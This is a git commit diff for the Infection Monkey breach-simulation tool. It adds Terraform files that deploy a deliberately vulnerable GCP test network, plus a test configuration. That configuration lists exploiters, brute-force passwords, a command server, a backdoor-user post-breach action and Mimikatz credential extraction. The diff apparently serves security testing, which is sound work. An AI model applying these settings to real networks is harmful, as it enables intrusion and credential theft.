forked from p15670423/monkey
Merge branch 'develop' into master
This commit is contained in:
commit
08a7b1f91f
|
@ -68,3 +68,18 @@ bin
|
|||
/monkey/monkey_island/cc/server.crt
|
||||
/monkey/monkey_island/cc/server.csr
|
||||
/monkey/monkey_island/cc/ui/node_modules/
|
||||
|
||||
# User files
|
||||
/monkey/monkey_island/cc/userUploads
|
||||
|
||||
# MonkeyZoo
|
||||
# Network status files
|
||||
MonkeyZoo/*
|
||||
# Except
|
||||
!MonkeyZoo/main.tf
|
||||
!MonkeyZoo/variables.tf
|
||||
!MonkeyZoo/README.MD
|
||||
!MonkeyZoo/config.tf
|
||||
!MonkeyZoo/MonkeyZooDocs.pdf
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# MonkeyZoo
|
||||
These files are used to deploy Infection Monkey's test network on GCP.<br>
|
||||
For more information view docs/fullDocs.md
|
|
@ -0,0 +1,206 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"`))jU7L(w}",
|
||||
"3Q=(Ge(+&w]*",
|
||||
"^NgDvY59~8",
|
||||
"Ivrrw5zEzs",
|
||||
"YbS,<tpS.2av"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"m0nk3y"
|
||||
]
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.2",
|
||||
"10.2.2.3",
|
||||
"10.2.2.4",
|
||||
"10.2.2.5",
|
||||
"10.2.2.8",
|
||||
"10.2.2.9",
|
||||
"10.2.1.9",
|
||||
"10.2.1.10",
|
||||
"10.2.2.11",
|
||||
"10.2.2.12",
|
||||
"10.2.2.14",
|
||||
"10.2.2.15",
|
||||
"10.2.2.16",
|
||||
"10.2.2.18",
|
||||
"10.2.2.19",
|
||||
"10.2.2.20",
|
||||
"10.2.2.21",
|
||||
"10.2.2.23",
|
||||
"10.2.2.24"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"192.168.56.1:5000",
|
||||
"158.129.18.132:5000"
|
||||
],
|
||||
"current_server": "192.168.56.1:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
||||
"ms08_067_remote_user_pass": "Password1!",
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
],
|
||||
"scanner_class": "TcpScanner"
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 60,
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"self_delete_in_cleanup": false,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": [
|
||||
"BackdoorUser"
|
||||
]
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 30,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 200,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
Binary file not shown.
After Width: | Height: | Size: 225 KiB |
|
@ -0,0 +1,10 @@
|
|||
provider "google" {
|
||||
project = "test-000000"
|
||||
region = "europe-west3"
|
||||
zone = "europe-west3-b"
|
||||
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
|
||||
}
|
||||
locals {
|
||||
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
|
||||
monkeyzoo_project="guardicore-22050661"
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
resource "google_compute_firewall" "islands-in" {
|
||||
name = "islands-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "tcp"
|
||||
ports = ["22", "443", "3389", "5000"]
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
priority = "65534"
|
||||
target_tags = ["island"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "islands-out" {
|
||||
name = "islands-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "tcp"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
priority = "65534"
|
||||
target_tags = ["island"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-in" {
|
||||
name = "monkeyzoo-in"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
priority = "65534"
|
||||
source_ranges = ["10.2.2.0/24"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "monkeyzoo-out" {
|
||||
name = "monkeyzoo-out"
|
||||
network = "${google_compute_network.monkeyzoo.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
priority = "65534"
|
||||
destination_ranges = ["10.2.2.0/24"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-in" {
|
||||
name = "tunneling-in"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "INGRESS"
|
||||
source_ranges = ["10.2.1.0/28"]
|
||||
}
|
||||
|
||||
resource "google_compute_firewall" "tunneling-out" {
|
||||
name = "tunneling-out"
|
||||
network = "${google_compute_network.tunneling.name}"
|
||||
|
||||
allow {
|
||||
protocol = "all"
|
||||
}
|
||||
|
||||
direction = "EGRESS"
|
||||
destination_ranges = ["10.2.1.0/28"]
|
||||
}
|
|
@ -0,0 +1,91 @@
|
|||
//Custom cloud images
|
||||
data "google_compute_image" "hadoop-2" {
|
||||
name = "hadoop-2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "hadoop-3" {
|
||||
name = "hadoop-3"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "elastic-4" {
|
||||
name = "elastic-4"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "elastic-5" {
|
||||
name = "elastic-5"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
|
||||
/*
|
||||
data "google_compute_image" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
}
|
||||
*/
|
||||
data "google_compute_image" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-9" {
|
||||
name = "tunneling-9-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "tunneling-10" {
|
||||
name = "tunneling-10-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-11" {
|
||||
name = "sshkeys-11-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "sshkeys-12" {
|
||||
name = "sshkeys-12-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-14" {
|
||||
name = "mimikatz-14-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mimikatz-15" {
|
||||
name = "mimikatz-15"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "mssql-16" {
|
||||
name = "mssql-16"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "weblogic-19" {
|
||||
name = "weblogic-19-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "smb-20" {
|
||||
name = "smb-20"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "scan-21" {
|
||||
name = "scan-21"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "scan-22" {
|
||||
name = "scan-22"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "struts2-23" {
|
||||
name = "struts2-23"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "struts2-24" {
|
||||
name = "struts-24-v2"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
||||
data "google_compute_image" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
project = "${local.monkeyzoo_project}"
|
||||
}
|
|
@ -0,0 +1,431 @@
|
|||
|
||||
// Local variables
|
||||
locals {
|
||||
default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}"
|
||||
default_windows="${google_compute_instance_template.windows2016.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_network" "monkeyzoo" {
|
||||
name = "monkeyzoo"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_network" "tunneling" {
|
||||
name = "tunneling"
|
||||
auto_create_subnetworks = false
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "monkeyzoo-main" {
|
||||
name = "monkeyzoo-main"
|
||||
ip_cidr_range = "10.2.2.0/24"
|
||||
network = "${google_compute_network.monkeyzoo.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_subnetwork" "tunneling-main" {
|
||||
name = "tunneling-main"
|
||||
ip_cidr_range = "10.2.1.0/28"
|
||||
network = "${google_compute_network.tunneling.self_link}"
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-2" {
|
||||
name = "hadoop-2"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.hadoop-2.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.2"
|
||||
}
|
||||
// Add required ssh keys for hadoop service and restart it
|
||||
metadata_startup_script = "[ ! -f /home/vakaris_zilius/.ssh/authorized_keys ] && sudo cat /home/vakaris_zilius/.ssh/id_rsa.pub >> /home/vakaris_zilius/.ssh/authorized_keys && sudo reboot"
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "hadoop-3" {
|
||||
name = "hadoop-3"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.hadoop-3.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.3"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-4" {
|
||||
name = "elastic-4"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.elastic-4.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.4"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "elastic-5" {
|
||||
name = "elastic-5"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.elastic-5.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.5"
|
||||
}
|
||||
}
|
||||
|
||||
/* Couldn't find ubuntu packages for required samba version (too old).
|
||||
resource "google_compute_instance_from_template" "sambacry-6" {
|
||||
name = "sambacry-6"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sambacry-6.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.6"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
|
||||
resource "google_compute_instance_from_template" "sambacry-7" {
|
||||
name = "sambacry-7"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk {
|
||||
initialize_params {
|
||||
// Add custom image to cloud
|
||||
image = "ubuntu32"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.7"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "shellshock-8" {
|
||||
name = "shellshock-8"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.shellshock-8.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.8"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-9" {
|
||||
name = "tunneling-9"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.tunneling-9.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
network_ip="10.2.1.9"
|
||||
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.9"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "tunneling-10" {
|
||||
name = "tunneling-10"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.tunneling-10.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface{
|
||||
subnetwork="tunneling-main"
|
||||
network_ip="10.2.1.10"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-11" {
|
||||
name = "sshkeys-11"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sshkeys-11.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.11"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "sshkeys-12" {
|
||||
name = "sshkeys-12"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.sshkeys-12.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.12"
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
resource "google_compute_instance_from_template" "rdpgrinder-13" {
|
||||
name = "rdpgrinder-13"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.rdpgrinder-13.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.13"
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-14" {
|
||||
name = "mimikatz-14"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.mimikatz-14.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.14"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mimikatz-15" {
|
||||
name = "mimikatz-15"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.mimikatz-15.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.15"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "mssql-16" {
|
||||
name = "mssql-16"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.mssql-16.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.16"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "upgrader-17"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.upgrader-17.self_link}"
|
||||
}
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.17"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing
|
||||
network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.weblogic-18.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.18"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "weblogic-19" {
|
||||
name = "weblogic-19"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.weblogic-19.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.19"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "smb-20" {
|
||||
name = "smb-20"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.smb-20.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.20"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-21" {
|
||||
name = "scan-21"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.scan-21.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.21"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-22" {
|
||||
name = "scan-22"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.scan-22.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.22"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-23" {
|
||||
name = "struts2-23"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.struts2-23.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.23"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-24" {
|
||||
name = "struts2-24"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.struts2-24.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.24"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "linux", "ubuntu16"]
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.island-linux-250.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.250"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
// network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "windows", "windowsserver2016"]
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = "${data.google_compute_image.island-windows-251.self_link}"
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
network_ip="10.2.2.251"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
// network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,45 @@
|
|||
resource "google_compute_instance_template" "ubuntu16" {
|
||||
name = "ubuntu16"
|
||||
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "ubuntu16", "linux"]
|
||||
|
||||
machine_type = "n1-standard-1"
|
||||
can_ip_forward = false
|
||||
|
||||
disk {
|
||||
source_image = "ubuntu-os-cloud/ubuntu-1604-lts"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing
|
||||
network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
service_account {
|
||||
email ="${local.service_account_email}"
|
||||
scopes=["cloud-platform"]
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_template" "windows2016" {
|
||||
name = "windows2016"
|
||||
description = "Creates windows 2016 core servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "windowsserver2016", "windows"]
|
||||
|
||||
machine_type = "n1-standard-1"
|
||||
can_ip_forward = false
|
||||
|
||||
disk {
|
||||
source_image = "windows-cloud/windows-2016"
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
}
|
||||
service_account {
|
||||
email="${local.service_account_email}"
|
||||
scopes=["cloud-platform"]
|
||||
}
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
from enum import Enum
|
||||
|
||||
|
||||
class ScanStatus(Enum):
|
||||
# Technique wasn't scanned
|
||||
UNSCANNED = 0
|
||||
# Technique was attempted/scanned
|
||||
SCANNED = 1
|
||||
# Technique was attempted and succeeded
|
||||
USED = 2
|
|
@ -0,0 +1,7 @@
|
|||
from enum import Enum
|
||||
|
||||
|
||||
class ExploitType(Enum):
|
||||
VULNERABILITY = 1
|
||||
OTHER = 8
|
||||
BRUTE_FORCE = 9
|
|
@ -161,6 +161,10 @@ class Configuration(object):
|
|||
|
||||
keep_tunnel_open_time = 60
|
||||
|
||||
# Monkey files directories
|
||||
monkey_dir_linux = '/tmp/monkey_dir'
|
||||
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
|
||||
|
||||
###########################
|
||||
# scanners config
|
||||
###########################
|
||||
|
@ -267,6 +271,10 @@ class Configuration(object):
|
|||
extract_azure_creds = True
|
||||
|
||||
post_breach_actions = []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
],
|
||||
"keep_tunnel_open_time": 60,
|
||||
"subnet_scan_list": [
|
||||
|
||||
|
||||
],
|
||||
"inaccessible_subnets": [],
|
||||
"blocked_ips": [],
|
||||
|
@ -28,6 +28,9 @@
|
|||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
|
||||
monkey_dir_linux = '/tmp/monkey_dir',
|
||||
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
|
||||
|
||||
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not",
|
||||
|
@ -98,4 +101,8 @@
|
|||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30,
|
||||
"post_breach_actions" : []
|
||||
custom_PBA_linux_cmd = ""
|
||||
custom_PBA_windows_cmd = ""
|
||||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
}
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
from abc import ABCMeta, abstractmethod
|
||||
import infection_monkey.config
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -9,6 +10,9 @@ class HostExploiter(object):
|
|||
|
||||
_TARGET_OS_TYPE = []
|
||||
|
||||
